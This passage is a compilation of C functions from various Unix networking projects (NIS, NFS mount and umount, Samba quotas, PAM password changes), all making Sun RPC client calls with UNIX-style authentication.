clnt_control(clnt, CLSET_XID, (char *)&reqs[i]->xid); addr.len = sizeof(reqs[i]->sin); addr.buf = (char *) &reqs[i]->sin; clnt_control(clnt, CLSET_SVC_ADDR, &addr); ypproc_domain_nonack_2_send(&foo, clnt); } } /* Receive reply */ ypproc_domain_nonack_2_recv(&foo, clnt); /* Got a winner -- look him up. */ clnt_control(clnt, CLGET_XID, (char *)&xid_lookup); for (i = 0; i < cnt; i++) { if (reqs[i] != NULL && reqs[i]->xid == xid_lookup) { winner = i; *port = reqs[i]->sin.sin_port; } } /* Shut everything down */ auth_destroy(clnt->cl_auth); clnt_destroy(clnt); close(sock); for (i = 0; i < cnt; i++) if (reqs[i] != NULL) free(reqs[i]); free(reqs); return(winner); }
static int nfs_umount_rpc_call(const char *spec, const char *opts) { register CLIENT *clp; struct sockaddr_in saddr; struct timeval pertry, try; enum clnt_stat clnt_stat; int so = RPC_ANYSOCK; struct hostent *hostp; char *hostname; char *dirname; char *p; if (spec == NULL || (p = strchr(spec,':')) == NULL) return 0; hostname = xstrndup(spec, p-spec); dirname = xstrdup(p+1); #ifdef DEBUG printf("host: %s, directory: %s\n", hostname, dirname); #endif if (opts && (p = strstr(opts, "addr="))) { char *q; free(hostname); p += 5; q = p; while (*q && *q != ',') q++; hostname = xstrndup(p,q-p); } if (hostname[0] >= '0' && hostname[0] <= '9') saddr.sin_addr.s_addr = inet_addr(hostname); else { if ((hostp = gethostbyname(hostname)) == NULL) { fprintf(stderr, "umount: can't get address for %s\n", hostname); return 1; } if (hostp->h_length > sizeof(struct in_addr)) { fprintf(stderr, "umount: got bad hostp->h_length\n"); hostp->h_length = sizeof(struct in_addr); } memcpy(&saddr.sin_addr, hostp->h_addr, hostp->h_length); } saddr.sin_family = AF_INET; saddr.sin_port = 0; pertry.tv_sec = 3; pertry.tv_usec = 0; if ((clp = clntudp_create(&saddr, MOUNTPROG, MOUNTVERS, pertry, &so)) == NULL) { clnt_pcreateerror("Cannot MOUNTPROG RPC"); return (1); } clp->cl_auth = authunix_create_default(); try.tv_sec = 20; try.tv_usec = 0; clnt_stat = clnt_call(clp, MOUNTPROC_UMNT, (xdrproc_t) xdr_dir, dirname, (xdrproc_t) xdr_void, (caddr_t) 0, try); if (clnt_stat != RPC_SUCCESS) { clnt_perror(clp, "Bad UMNT RPC"); return (1); } auth_destroy(clp->cl_auth); clnt_destroy(clp); return (0); }
static int yppasswd_local(ypclnt_t *ypclnt, const struct passwd *pwd) { struct master_yppasswd yppwd; struct rpc_err rpcerr; struct netconfig *nc = NULL; void *localhandle = 0; CLIENT *clnt = NULL; int ret, *result; /* fill the master_yppasswd structure */ memset(&yppwd, 0, sizeof yppwd); yppwd.newpw.pw_uid = pwd->pw_uid; yppwd.newpw.pw_gid = pwd->pw_gid; yppwd.newpw.pw_change = pwd->pw_change; yppwd.newpw.pw_expire = pwd->pw_expire; yppwd.newpw.pw_fields = pwd->pw_fields; yppwd.oldpass = strdup(""); yppwd.domain = strdup(ypclnt->domain); if ((yppwd.newpw.pw_name = strdup(pwd->pw_name)) == NULL || (yppwd.newpw.pw_passwd = strdup(pwd->pw_passwd)) == NULL || (yppwd.newpw.pw_class = strdup(pwd->pw_class)) == NULL || (yppwd.newpw.pw_gecos = strdup(pwd->pw_gecos)) == NULL || (yppwd.newpw.pw_dir = strdup(pwd->pw_dir)) == NULL || (yppwd.newpw.pw_shell = strdup(pwd->pw_shell)) == NULL) { ypclnt_error(ypclnt, __func__, strerror(errno)); ret = -1; goto done; } /* connect to rpc.yppasswdd */ localhandle = setnetconfig(); while ((nc = getnetconfig(localhandle)) != NULL) { if (nc->nc_protofmly != NULL && strcmp(nc->nc_protofmly, NC_LOOPBACK) == 0) break; } if (nc == NULL) { ypclnt_error(ypclnt, __func__, "getnetconfig: %s", nc_sperror()); ret = -1; goto done; } if ((clnt = clnt_tp_create(NULL, MASTER_YPPASSWDPROG, MASTER_YPPASSWDVERS, nc)) == NULL) { ypclnt_error(ypclnt, __func__, "failed to connect to rpc.yppasswdd: %s", clnt_spcreateerror(ypclnt->server)); ret = -1; goto done; } clnt->cl_auth = authunix_create_default(); /* request the update */ result = yppasswdproc_update_master_1(&yppwd, clnt); /* check for RPC errors */ clnt_geterr(clnt, &rpcerr); if (rpcerr.re_status != RPC_SUCCESS) { ypclnt_error(ypclnt, __func__, "NIS password update failed: %s", clnt_sperror(clnt, ypclnt->server)); ret = -1; goto done; } /* check the result of the update */ if (result == NULL || *result != 0) { ypclnt_error(ypclnt, __func__, "NIS password update failed"); /* XXX how do we get more details? */ ret = -1; goto done; } ypclnt_error(ypclnt, NULL, NULL); ret = 0; done: if (clnt != NULL) { auth_destroy(clnt->cl_auth); clnt_destroy(clnt); } endnetconfig(localhandle); free(yppwd.newpw.pw_name); if (yppwd.newpw.pw_passwd != NULL) { memset(yppwd.newpw.pw_passwd, 0, strlen(yppwd.newpw.pw_passwd)); free(yppwd.newpw.pw_passwd); } free(yppwd.newpw.pw_class); free(yppwd.newpw.pw_gecos); free(yppwd.newpw.pw_dir); free(yppwd.newpw.pw_shell); if (yppwd.oldpass != NULL) { memset(yppwd.oldpass, 0, strlen(yppwd.oldpass)); free(yppwd.oldpass); } return (ret); }
int sys_get_nfs_quota(const char *path, const char *bdev, enum SMB_QUOTA_TYPE qtype, unid_t id, SMB_DISK_QUOTA *dp) { CLIENT *clnt = NULL; struct getquota_rslt gq_rslt; struct getquota_args gq_args; const char *mnttype; char *cutstr, *host, *testpath; int len; static struct timeval timeout = {2,0}; enum clnt_stat clnt_stat; int ret = -1; uint32_t qflags = 0; if (!path || !bdev || !dp) { smb_panic("sys_get_nfs_quota: called with NULL pointer"); } DEBUG(10, ("sys_get_nfs_quota: path[%s] bdev[%s] qtype[%d]\n", path, bdev, qtype)); ZERO_STRUCT(*dp); dp->qtype = qtype; if (qtype != SMB_USER_QUOTA_TYPE) { DEBUG(3, ("sys_get_nfs_quota: got unsupported quota type '%d', " "only supported type is '%d' (SMB_USER_QUOTA_TYPE)\n", qtype, SMB_USER_QUOTA_TYPE)); errno = ENOSYS; return -1; } mnttype = bdev; len = strcspn(mnttype, ":"); cutstr = (char *) SMB_MALLOC(len+1); if (cutstr == NULL) { errno = ENOMEM; return -1; } memset(cutstr, '\0', len+1); host = strncat(cutstr, mnttype, sizeof(char) * len); testpath = strchr_m(mnttype, ':'); if (testpath == NULL) { errno = EINVAL; goto out; } testpath++; gq_args.gqa_pathp = testpath; gq_args.gqa_uid = id.uid; DEBUG(10, ("sys_get_nfs_quotas: Asking for quota of path '%s' on " "host '%s', rpcprog '%i', rpcvers '%i', network '%s'\n", host, testpath+1, (int)RQUOTAPROG, (int)RQUOTAVERS, "udp")); clnt = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp"); if (clnt == NULL) { ret = -1; goto out; } clnt->cl_auth = authunix_create_default(); if (clnt->cl_auth == NULL) { DEBUG(3, ("sys_get_nfs_quotas: authunix_create_default " "failed\n")); ret = -1; goto out; } clnt_stat = clnt_call(clnt, RQUOTAPROC_GETQUOTA, (const xdrproc_t) my_xdr_getquota_args, (caddr_t)&gq_args, (const xdrproc_t) my_xdr_getquota_rslt, (caddr_t)&gq_rslt, timeout); if (clnt_stat != RPC_SUCCESS) { if (errno == ECONNREFUSED) { /* If we cannot connect with rpc.quotad, it may * simply be because there's no quota on the remote * system */ DBG_INFO("clnt_call failed with ECONNREFUSED - " "assuming no quotas on server\n"); ret = 0; } else { int save_errno = errno; DBG_NOTICE("clnt_call failed - %s\n", strerror(errno)); errno = save_errno; ret = -1; } goto out; } DEBUG(10, ("sys_get_nfs_quotas: getquota_rslt:\n" "status : '%i'\n" "bsize : '%i'\n" "active : '%s'\n" "bhardlimit : '%u'\n" "bsoftlimit : '%u'\n" "curblocks : '%u'\n" "fhardlimit : '%u'\n" "fsoftlimit : '%u'\n" "curfiles : '%u'\n" "btimeleft : '%u'\n" "ftimeleft : '%u'\n", gq_rslt.GQR_STATUS, gq_rslt.GQR_RQUOTA.rq_bsize, gq_rslt.GQR_RQUOTA.rq_active?"yes":"no", gq_rslt.GQR_RQUOTA.rq_bhardlimit, gq_rslt.GQR_RQUOTA.rq_bsoftlimit, gq_rslt.GQR_RQUOTA.rq_curblocks, gq_rslt.GQR_RQUOTA.rq_fhardlimit, gq_rslt.GQR_RQUOTA.rq_fsoftlimit, gq_rslt.GQR_RQUOTA.rq_curfiles, gq_rslt.GQR_RQUOTA.rq_btimeleft, gq_rslt.GQR_RQUOTA.rq_ftimeleft)); /* * gqr.status returns * 1 if quotas exist, * 2 if there is no quota set, and * 3 if no permission to get the quota. */ switch (gq_rslt.GQR_STATUS) { case 1: DEBUG(10, ("sys_get_nfs_quotas: Good quota data\n")); dp->bsize = (uint64_t)gq_rslt.GQR_RQUOTA.rq_bsize; dp->softlimit = gq_rslt.GQR_RQUOTA.rq_bsoftlimit; dp->hardlimit = gq_rslt.GQR_RQUOTA.rq_bhardlimit; dp->curblocks = gq_rslt.GQR_RQUOTA.rq_curblocks; break; case 2: DEBUG(5, ("sys_get_nfs_quotas: No quota set\n")); SMB_QUOTAS_SET_NO_LIMIT(dp); break; case 3: DEBUG(3, ("sys_get_nfs_quotas: no permission to get quota\n")); errno = EPERM; ret = -1; goto out; default: DEBUG(5, ("sys_get_nfs_quotas: Unknown remote quota status " "code '%i'\n", gq_rslt.GQR_STATUS)); ret = -1; goto out; break; } dp->qflags = qflags; ret = 0; out: if (clnt) { if (clnt->cl_auth) { auth_destroy(clnt->cl_auth); } clnt_destroy(clnt); } SAFE_FREE(cutstr); DEBUG(10, ("sys_get_nfs_quotas: finished\n" )); return ret; }
static int _do_setpass(pam_handle_t* pamh, const char *forwho, char *fromwhat, char *towhat, unsigned int ctrl, int remember) { struct passwd *pwd = NULL; int retval = 0; D(("called")); setpwent(); pwd = getpwnam(forwho); endpwent(); if (pwd == NULL) return PAM_AUTHTOK_ERR; if (on(UNIX_NIS, ctrl)) { struct timeval timeout; struct yppasswd yppwd; CLIENT *clnt; char *master; int status; int err = 0; /* Make RPC call to NIS server */ if ((master = getNISserver(pamh)) == NULL) return PAM_TRY_AGAIN; /* Initialize password information */ yppwd.newpw.pw_passwd = pwd->pw_passwd; yppwd.newpw.pw_name = pwd->pw_name; yppwd.newpw.pw_uid = pwd->pw_uid; yppwd.newpw.pw_gid = pwd->pw_gid; yppwd.newpw.pw_gecos = pwd->pw_gecos; yppwd.newpw.pw_dir = pwd->pw_dir; yppwd.newpw.pw_shell = pwd->pw_shell; yppwd.oldpass = fromwhat; yppwd.newpw.pw_passwd = towhat; D(("Set password %s for %s", yppwd.newpw.pw_passwd, forwho)); /* The yppasswd.x file said `unix authentication required', * so I added it. This is the only reason it is in here. * My yppasswdd doesn't use it, but maybe some others out there * do. --okir */ clnt = clnt_create(master, YPPASSWDPROG, YPPASSWDVERS, "udp"); clnt->cl_auth = authunix_create_default(); memset((char *) &status, '\0', sizeof(status)); timeout.tv_sec = 25; timeout.tv_usec = 0; err = clnt_call(clnt, YPPASSWDPROC_UPDATE, (xdrproc_t) xdr_yppasswd, (char *) &yppwd, (xdrproc_t) xdr_int, (char *) &status, timeout); if (err) { clnt_perrno(err); retval = PAM_TRY_AGAIN; } else if (status) { fprintf(stderr, "Error while changing NIS password.\n"); retval = PAM_TRY_AGAIN; } printf("\nThe password has%s been changed on %s.\n", (err || status) ? " not" : "", master); auth_destroy(clnt->cl_auth); clnt_destroy(clnt); if ((err || status) != 0) { retval = PAM_TRY_AGAIN; } #ifdef DEBUG sleep(5); #endif return retval; } /* first, save old password */ if (save_old_password(forwho, fromwhat, remember)) { return PAM_AUTHTOK_ERR; } if (on(UNIX_SHADOW, ctrl) || (strcmp(pwd->pw_passwd, "x") == 0)) { retval = _update_shadow(forwho, towhat); if (retval == PAM_SUCCESS) retval = _update_passwd(forwho, "x"); } else { retval = _update_passwd(forwho, towhat); } return retval; }
static int nfs_probe_statd(void) { struct sockaddr_in addr = { .sin_family = AF_INET, .sin_addr.s_addr = htonl(INADDR_LOOPBACK), }; rpcprog_t program = nfs_getrpcbyname(NSMPROG, nfs_ns_pgmtbl); return nfs_getport_ping((struct sockaddr *)&addr, sizeof(addr), program, (rpcvers_t)1, IPPROTO_UDP); } /** * start_statd - attempt to start rpc.statd * * Returns 1 if statd is running; otherwise zero. */ int start_statd(void) { #ifdef START_STATD struct stat stb; #endif if (nfs_probe_statd()) return 1; #ifdef START_STATD if (stat(START_STATD, &stb) == 0) { if (S_ISREG(stb.st_mode) && (stb.st_mode & S_IXUSR)) { pid_t pid = fork(); switch (pid) { case 0: /* child */ execl(START_STATD, START_STATD, NULL); exit(1); case -1: /* error */ nfs_error(_("fork failed: %s"), strerror(errno)); break; default: /* parent */ waitpid(pid, NULL,0); break; } if (nfs_probe_statd()) return 1; } } #endif return 0; } /** * nfs_advise_umount - ask the server to remove a share from it's rmtab * @sap: pointer to IP address of server to call * @salen: length of server address * @pmap: partially filled-in mountd RPC service tuple * @argp: directory path of share to "unmount" * * Returns one if the unmount call succeeded; zero if the unmount * failed for any reason; rpccreateerr.cf_stat is set to reflect * the nature of the error. * * We use a fast timeout since this call is advisory only. */ int nfs_advise_umount(const struct sockaddr *sap, const socklen_t salen, const struct pmap *pmap, const dirpath *argp) { struct sockaddr_storage address; struct sockaddr *saddr = (struct sockaddr *)&address; struct pmap mnt_pmap = *pmap; struct timeval timeout = { .tv_sec = MOUNT_TIMEOUT >> 3, }; CLIENT *client; enum clnt_stat res = 0; if (nfs_probe_mntport(sap, salen, &mnt_pmap) == 0) return 0; memcpy(saddr, sap, salen); nfs_set_port(saddr, mnt_pmap.pm_port); client = nfs_get_rpcclient(saddr, salen, mnt_pmap.pm_prot, mnt_pmap.pm_prog, mnt_pmap.pm_vers, &timeout); if (client == NULL) return 0; client->cl_auth = authunix_create_default(); res = CLNT_CALL(client, MOUNTPROC_UMNT, (xdrproc_t)xdr_dirpath, (caddr_t)argp, (xdrproc_t)xdr_void, NULL, timeout); auth_destroy(client->cl_auth); CLNT_DESTROY(client); if (res != RPC_SUCCESS) return 0; return 1; } /** * nfs_call_umount - ask the server to remove a share from it's rmtab * @mnt_server: address of RPC MNT program server * @argp: directory path of share to "unmount" * * Returns one if the unmount call succeeded; zero if the unmount * failed for any reason. * * Note that a side effect of calling this function is that rpccreateerr * is set. */ int nfs_call_umount(clnt_addr_t *mnt_server, dirpath *argp) { struct sockaddr *sap = (struct sockaddr *)&mnt_server->saddr; socklen_t salen = sizeof(mnt_server->saddr); struct pmap *pmap = &mnt_server->pmap; CLIENT *clnt; enum clnt_stat res = 0; int msock; if (!nfs_probe_mntport(sap, salen, pmap)) return 0; clnt = mnt_openclnt(mnt_server, &msock); if (!clnt) return 0; res = clnt_call(clnt, MOUNTPROC_UMNT, (xdrproc_t)xdr_dirpath, (caddr_t)argp, (xdrproc_t)xdr_void, NULL, TIMEOUT); mnt_closeclnt(clnt, msock); if (res == RPC_SUCCESS) return 1; return 0; } /** * mnt_openclnt - get a handle for a remote mountd service * @mnt_server: address and pmap arguments of mountd service * @msock: returns a file descriptor of the underlying transport socket * * Returns an active handle for the remote's mountd service */ CLIENT *mnt_openclnt(clnt_addr_t *mnt_server, int *msock) { struct sockaddr_in *mnt_saddr = &mnt_server->saddr; struct pmap *mnt_pmap = &mnt_server->pmap; CLIENT *clnt = NULL; mnt_saddr->sin_port = htons((u_short)mnt_pmap->pm_port); *msock = get_socket(mnt_saddr, mnt_pmap->pm_prot, MOUNT_TIMEOUT, TRUE, FALSE); if (*msock == RPC_ANYSOCK) { if (rpc_createerr.cf_error.re_errno == EADDRINUSE) /* * Probably in-use by a TIME_WAIT connection, * It is worth waiting a while and trying again. */ rpc_createerr.cf_stat = RPC_TIMEDOUT; return NULL; } switch (mnt_pmap->pm_prot) { case IPPROTO_UDP: clnt = clntudp_bufcreate(mnt_saddr, mnt_pmap->pm_prog, mnt_pmap->pm_vers, RETRY_TIMEOUT, msock, MNT_SENDBUFSIZE, MNT_RECVBUFSIZE); break; case IPPROTO_TCP: clnt = clnttcp_create(mnt_saddr, mnt_pmap->pm_prog, mnt_pmap->pm_vers, msock, MNT_SENDBUFSIZE, MNT_RECVBUFSIZE); break; } if (clnt) { /* try to mount hostname:dirname */ clnt->cl_auth = authunix_create_default(); return clnt; } return NULL; } /** * mnt_closeclnt - terminate a handle for a remote mountd service * @clnt: pointer to an active handle for a remote mountd service * @msock: file descriptor of the underlying transport socket * */ void mnt_closeclnt(CLIENT *clnt, int msock) { auth_destroy(clnt->cl_auth); clnt_destroy(clnt); close(msock); } /** * clnt_ping - send an RPC ping to the remote RPC service endpoint * @saddr: server's address * @prog: target RPC program number * @vers: target RPC version number * @prot: target RPC protocol * @caddr: filled in with our network address * * Sigh... GETPORT queries don't actually check the version number. * In order to make sure that the server actually supports the service * we're requesting, we open an RPC client, and fire off a NULL * RPC call. * * caddr is the network address that the server will use to call us back. * On multi-homed clients, this address depends on which NIC we use to * route requests to the server. * * Returns one if successful, otherwise zero. */ int clnt_ping(struct sockaddr_in *saddr, const unsigned long prog, const unsigned long vers, const unsigned int prot, struct sockaddr_in *caddr) { CLIENT *clnt = NULL; int sock, stat; static char clnt_res; struct sockaddr dissolve; rpc_createerr.cf_stat = stat = 0; sock = get_socket(saddr, prot, CONNECT_TIMEOUT, FALSE, TRUE); if (sock == RPC_ANYSOCK) { if (rpc_createerr.cf_error.re_errno == ETIMEDOUT) { /* * TCP timeout. Bubble up the error to see * how it should be handled. */ rpc_createerr.cf_stat = RPC_TIMEDOUT; } return 0; } if (caddr) { /* Get the address of our end of this connection */ socklen_t len = sizeof(*caddr); if (getsockname(sock, caddr, &len) != 0) caddr->sin_family = 0; } switch(prot) { case IPPROTO_UDP: /* The socket is connected (so we could getsockname successfully), * but some servers on multi-homed hosts reply from * the wrong address, so if we stay connected, we lose the reply. */ dissolve.sa_family = AF_UNSPEC; connect(sock, &dissolve, sizeof(dissolve)); clnt = clntudp_bufcreate(saddr, prog, vers, RETRY_TIMEOUT, &sock, RPCSMALLMSGSIZE, RPCSMALLMSGSIZE); break; case IPPROTO_TCP: clnt = clnttcp_create(saddr, prog, vers, &sock, RPCSMALLMSGSIZE, RPCSMALLMSGSIZE); break; } if (!clnt) { close(sock); return 0; } memset(&clnt_res, 0, sizeof(clnt_res)); stat = clnt_call(clnt, NULLPROC, (xdrproc_t)xdr_void, (caddr_t)NULL, (xdrproc_t)xdr_void, (caddr_t)&clnt_res, TIMEOUT); if (stat) { clnt_geterr(clnt, &rpc_createerr.cf_error); rpc_createerr.cf_stat = stat; } clnt_destroy(clnt); close(sock); if (stat == RPC_SUCCESS) return 1; else return 0; }